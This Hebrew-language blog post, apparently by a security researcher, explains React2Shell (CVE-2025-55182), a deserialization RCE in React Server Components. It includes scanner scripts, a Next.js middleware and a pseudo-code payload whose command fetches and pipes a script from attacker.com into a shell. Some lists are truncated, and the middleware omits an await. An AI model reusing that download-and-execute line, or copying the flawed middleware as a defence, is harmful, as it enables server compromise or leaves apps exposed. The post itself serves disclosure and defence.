
מאת לקלן דיווידסון
עודכן לאחרונה: 4 בדצמבר 2025
בשנים האחרונות חלה עלייה דרמטית באימוץ React ושלל הפריימוורקים סביבו, המניעים הכל ממיזמי ווב קטנים ועד יישומים ארגוניים רחבי-היקף. עם העלייה בפופולריות מגיע גם חשש גובר מפגיעויות—במיוחד כאלו המשפיעות על רכיבים קריטיים באקוסיסטם.
ב-29 בנובמבר 2025 גיליתי ואמדתי באחריות פגיעות הרסנית—React2Shell (CVE-2025-55182)—לצוות Meta. הפגם, המשפיע על מימושי React בצד-השרת ובעיקר על פרוטוקול “Flight” של React Server Components (RSC), תוקן על-ידי צוותי React ו-Vercel ב-3 בדצמבר 2025. פוסט זה מספק ניתוח מעמיק של הפגיעות: מהניואנסים הטכניים ועד ניצול בעולם האמיתי, כולל מיטב השיטות לזיהוי ולמיגון.
בפוסט זה נעסוק ב-
בין אם אתם אנשי אבטחה, מפתחים המבקשים להבין את הסיכונים, או חובבי טכנולוגיות ווב מודרניות—מדריך זה ילווה אתכם מקונספטים בסיסיים ועד טכניקות ניצול מתקדמות והגנות פרואקטיביות.
לוח הזמנים חשוב להבנת ניהול הסיכונים והתגובה המהירה סביב האירוע:
הוקצה CVE נוסף—CVE-2025-66478—ל-Next.js עקב הכללת React כ-vendored dependency, אף שמדובר בטכנית בכפילות. כך קל יותר לעקוב אחרי תלות נסתרת שסורקי פגיעויות עלולים לפספס.
React2Shell היא פגיעות קריטית (CVE-2025-55182) בסביבת React Server Components, המשפיעה על פרוטוקול “Flight”. הפגם מאפשר ביצוע קוד מרוחק (RCE) בלתי מאומת בצד-השרת, בעקבות תהליך Deserialization לא מאובטח בחבילת react-server.
מאפיינים עיקריים:
שורש הבעיה הוא הדרך בה השרת מעבד מטעני RSC. תהליך ה-deserialization לא מאמת כראוי את מבנה הנתונים הנכנס. תוקף יכול לשלוח מטען שמוביל לביצוע קוד לא רצוי בעת ה-deserialization.
תרשים זרימה מקוצר:
Next.js “מטמיע” את React, ולכן סורקי תלות עלולים לא לאתר את ה-CVE. לשם כך הוקצה CVE-2025-66478 הנוסף כדי להתריע למשתמשי Next.js.
Deserialization ממיר נתונים מפורמט סידור (JSON/בינרי) לאובייקט חי. חוסר אימות גורם ל-
Flight מעביר נתונים ביעילות בין שרת ללקוח. הביצועים הגבוהים, יחד עם אימות חסר, יצרו נתיב תקיפה.
מיד לאחר פרסום ה-PoC נצפו קמפיינים אוטומטיים:
בקשה תמימה לכאורה ל-Flight פתחה shell הפוך, גילתה K8s Secrets והסלימה להרצת פקודות על ה-Node.
Wiz Research:
#!/bin/bash
# סורק פגיעות בסיסי ל-React2Shell (CVE-2025-55182)
TARGET="<target_url>"
PAYLOAD='{"malicious":"payload"}'
echo "סורק את $TARGET ..."
RESPONSE=$(curl -s -X POST -H "Content-Type: application/json" -d "$PAYLOAD" "$TARGET")
if echo "$RESPONSE" | grep -q "Error processing Flight payload"; then
echo "נמצאה אינדיקציה לפגיעות ב-$TARGET"
else
echo "לא אותרה פגיעות מובהקת—מומלץ המשך בדיקה."
fi
import requests, json
def scan_target(url):
payload = {"test": "data", "action": "simulate_deserialization"}
headers = {"Content-Type": "application/json"}
print(f"סורק {url} ...")
try:
r = requests.post(url, headers=headers, data=json.dumps(payload), timeout=5)
if "Error processing Flight payload" in r.text:
print(f"[!] ייתכן שהיעד פגיע: {url}")
else:
print(f"[-] לא התרחשו אינדיקציות ברורות: {url}")
except requests.exceptions.RequestException as e:
print(f"[-] שגיאה בסריקה: {e}")
if __name__ == "__main__":
for t in ["https://example.com/api/flight",
"https://another-example.com/api/flight"]:
scan_target(t)
// פסאודו-קוד להדגמת מבנה מטען
const maliciousPayload = {
component: "ShellExec",
args: {
command: "bash -c 'curl -fsSL http://attacker.com/malware.sh | sh'",
},
_meta: { timestamp: Date.now(), nonce: Math.random().toString(36).slice(2) }
};
const serializedPayload = JSON.stringify(maliciousPayload);
sendToServer(serializedPayload);
הבהרה: הקוד לצורכי לימוד בלבד.
פונקציות כמו vm#runInThisContext, child_process#exec, fs#writeFile עשויות להופיע בקוד לגיטימי. הן אינן הוכחה חד-ערכית לניצול React2Shell.
המלצות:
// דוגמת Middleware ב-Next.js להגנה נוספת
import { NextResponse } from 'next/server';
export function middleware(request) {
if (request.nextUrl.pathname.startsWith('/api/flight')) {
try {
const body = request.json();
if (!body || typeof body !== 'object' || !body.component) {
return new NextResponse('Invalid payload format', { status: 400 });
}
} catch {
return new NextResponse('Error processing request', { status: 400 });
}
}
return NextResponse.next();
}
React2Shell (CVE-2025-55182) מזכירה לנו כי גם פריימוורקים נפוצים ואמינים אינם חסינים מפגיעויות חמורות. הפגיעות מאפשרת RCE בלתי-מאומת, עם השלכות רחבות על סביבות ענן וציבור.
עיקרי הדברים:
מדריך מקיף זה מעניק לכם את הידע והכלים הנחוצים להתמודדות עם React2Shell—מפרטים טכניים ועד שיטות מעשיות לזיהוי ולמיגון. הישארו מעודכנים בהודעות רשמיות ושפרו ללא הרף את מערך האבטחה שלכם.
Coding מאובטח ונעים!
אם מצאתם את התוכן הזה בעל ערך, תארו לעצמכם מה תוכלו להשיג עם תוכנית ההכשרה המקיפה והאליטיסטית שלנו בת 47 שבועות. הצטרפו ליותר מ-1,200 סטודנטים ששינו את הקריירה שלהם בעזרת טכניקות יחידה 8200.